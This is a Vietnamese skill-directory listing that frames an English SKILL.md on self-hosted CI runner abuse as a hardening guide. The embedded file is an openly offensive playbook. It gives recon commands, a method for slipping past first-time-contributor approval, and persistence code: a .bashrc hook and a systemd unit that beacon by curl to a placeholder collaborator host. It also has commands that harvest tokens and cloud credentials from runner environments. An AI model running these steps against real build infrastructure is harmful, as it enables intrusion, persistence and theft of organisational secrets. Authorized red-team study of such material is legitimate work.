self-hosted-runner-abuse
Skill này làm gì
Hướng dẫn này nói về rủi ro bảo mật của các máy build do công ty tự quản lý. Dành cho đội DevOps và bảo mật quản lý runner của riêng họ.
Khi nào nên dùng
- ✓Khi công ty dùng runner tự host và cần kiểm tra xem mã bên ngoài có tiếp cận được chúng không.
- ✓Khi bạn muốn xem các máy runner có giữ lại file giữa các job không.
- ✓Khi runner nằm trong mạng riêng và có thể truy cập các dịch vụ nội bộ.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi tự chạy máy build cho CI. Bạn có thể kiểm tra xem mã bên ngoài hoặc file job cũ có ảnh hưởng đến các build sau không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent kiểm tra runner nào đang được dùng, chúng có phải loại tạm thời không, và chúng truy cập được những mạng nội bộ nào, sau đó liệt kê các bước tăng cường bảo mật.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Self-Hosted Runner Abuse
Self-hosted runners are attacker dreams: long-lived machines inside the target's network, with the build user's filesystem, often persistent between jobs, frequently reachable to internal services and cloud metadata. Default GitHub policy on public repos is to NOT run workflows from first-time contributors without approval — but the gate is per-repo and frequently relaxed.
Recon — does the target use self-hosted?
# 1. Workflow labels
grep -rnE 'runs-on:\s*(\[\s*self-hosted|self-hosted)' <REPO>/.github/workflows/
# 2. Custom labels signal self-hosted runners ("linux-large", "internal", "gpu-a100")
grep -rnE 'runs-on:\s*\[?[a-z0-9_-]+' <REPO>/.github/workflows/ \
| grep -vE 'ubuntu-(latest|20|22|24)|windows-(latest|20)|macos-(latest|13|14)'
# 3. Public run history reveals runner hostnames
gh run list --repo <OWNER>/<REPO> --limit 20 --json databaseId,name | jq -r '.[].databaseId' \
| while read id; do gh run view "$id" --repo <OWNER>/<REPO> --log 2>/dev/null \
| grep -iE 'Runner name|Runner group|Machine name'; done | sort -u
# 4. Org-level runner registrations (auth required, but org members often have read)
gh api "orgs/<OWNER>/actions/runners" --jq '.runners[] | {name,os,status,labels:[.labels[].name]}'
Default vs ephemeral
| Mode | Behavior | Attacker upside |
|---|---|---|
| Default (non-ephemeral) | Same VM/container picks up the next job. /home/runner/work/_temp/, ~/.cache, env from prior jobs may persist. |
Persist files; reuse leaked creds; race the next job |
Ephemeral (--ephemeral) |
Runner exits after one job; VM is destroyed | Per-job isolation; persistence requires escape to host |
actions/runner-images self-hosted on K8s with ARC |
Pod per job, but cluster identity (ServiceAccount) is shared |
Pivot to cluster API via projected token |
# Inside a job — fingerprint the runner
uname -a; id; whoami
mount | grep -E '/home|/runner|overlay'
ls -la /actions-runner /home/runner /opt/actions-runner 2>/dev/null
env | grep -E 'RUNNER_|GITHUB_' | head
# Ephemeral runners typically have RUNNER_TEMP wiped; non-ephemeral have leftover dirs
ls -la "$RUNNER_TEMP/.." 2>/dev/null
Fork-PR execution on self-hosted
# DANGEROUS — fork PRs run on the org's self-hosted fleet
on: pull_request
jobs:
test:
runs-on: [self-hosted, linux, internal]
steps:
- uses: actions/checkout@v4
- run: make test
If the repo did not enable "Require approval for all outside collaborators", a fork PR with a poisoned Makefile (see poisoned-pipeline-execution/SKILL.md) gives RCE on the internal runner. First-time-contributor approval is also bypassable: contribute a trivial PR first, get it merged, then weaponize subsequent PRs as a returning contributor.
Persistence on non-ephemeral runners
# In the malicious job step
RUNNER_BIN="$(dirname "$(which Runner.Listener 2>/dev/null || echo /actions-runner/run.sh)")"
echo "Found runner at: $RUNNER_BIN"
# 1. Drop a payload in a path the runner sources before next job
mkdir -p "$HOME/.config"
cat > "$HOME/.config/runner-helper.sh" <<'EOF'
# Beacon — runs as the runner user on next shell-step entry
nohup bash -c 'while true; do curl -s "https://<COLLAB>/beacon/$(hostname)"; sleep 3600; done' &>/dev/null &
EOF
# 2. Hook into bash via runner user's .bashrc — works for any step using a login shell
grep -q runner-helper "$HOME/.bashrc" || echo 'source "$HOME/.config/runner-helper.sh"' >> "$HOME/.bashrc"
# 3. systemd --user unit (if lingering enabled)
mkdir -p "$HOME/.config/systemd/user"
cat > "$HOME/.config/systemd/user/beacon.service" <<'EOF'
[Unit] Description=research beacon
[Service] ExecStart=/usr/bin/curl -s https://<COLLAB>/svc/%H
Restart=always
[Install] WantedBy=default.target
EOF
systemctl --user daemon-reload && systemctl --user enable --now beacon.service 2>/dev/null || true
Stop. In an authorized engagement, set the beacon TTL to one hit and document removal steps. Persistence proves the capability; do not actually persist.
Token / secret theft from runner env
# All secrets used in the current job are in env vars or files actions wrote
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_' | head
ls -la "$RUNNER_TEMP" "$HOME/.docker" "$HOME/.aws" "$HOME/.kube" 2>/dev/null
# GITHUB_TOKEN is mounted in env and as `.credential` for git
cat "$HOME/work/_temp/_github_workflow/event.json" 2>/dev/nul
Câu hỏi thường gặp
Runner tạm thời là gì?
Đó là runner được xóa và tạo lại cho mỗi job, nên không có gì được giữ lại giữa các lần build.
Vì sao build từ fork đáng lo?
Hướng dẫn cho biết pull request từ bên ngoài có thể chạy trên máy tự host nếu không yêu cầu phê duyệt.
Vì sao quyền truy cập mạng quan trọng?
Runner tự host thường nằm trong mạng công ty và có thể truy cập các dịch vụ nội bộ.
Chi tiết
Mô tả gốc của tác giả
Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret/token theft from runner env, lateral movement from runner into internal network and cloud metadata services.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14031
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.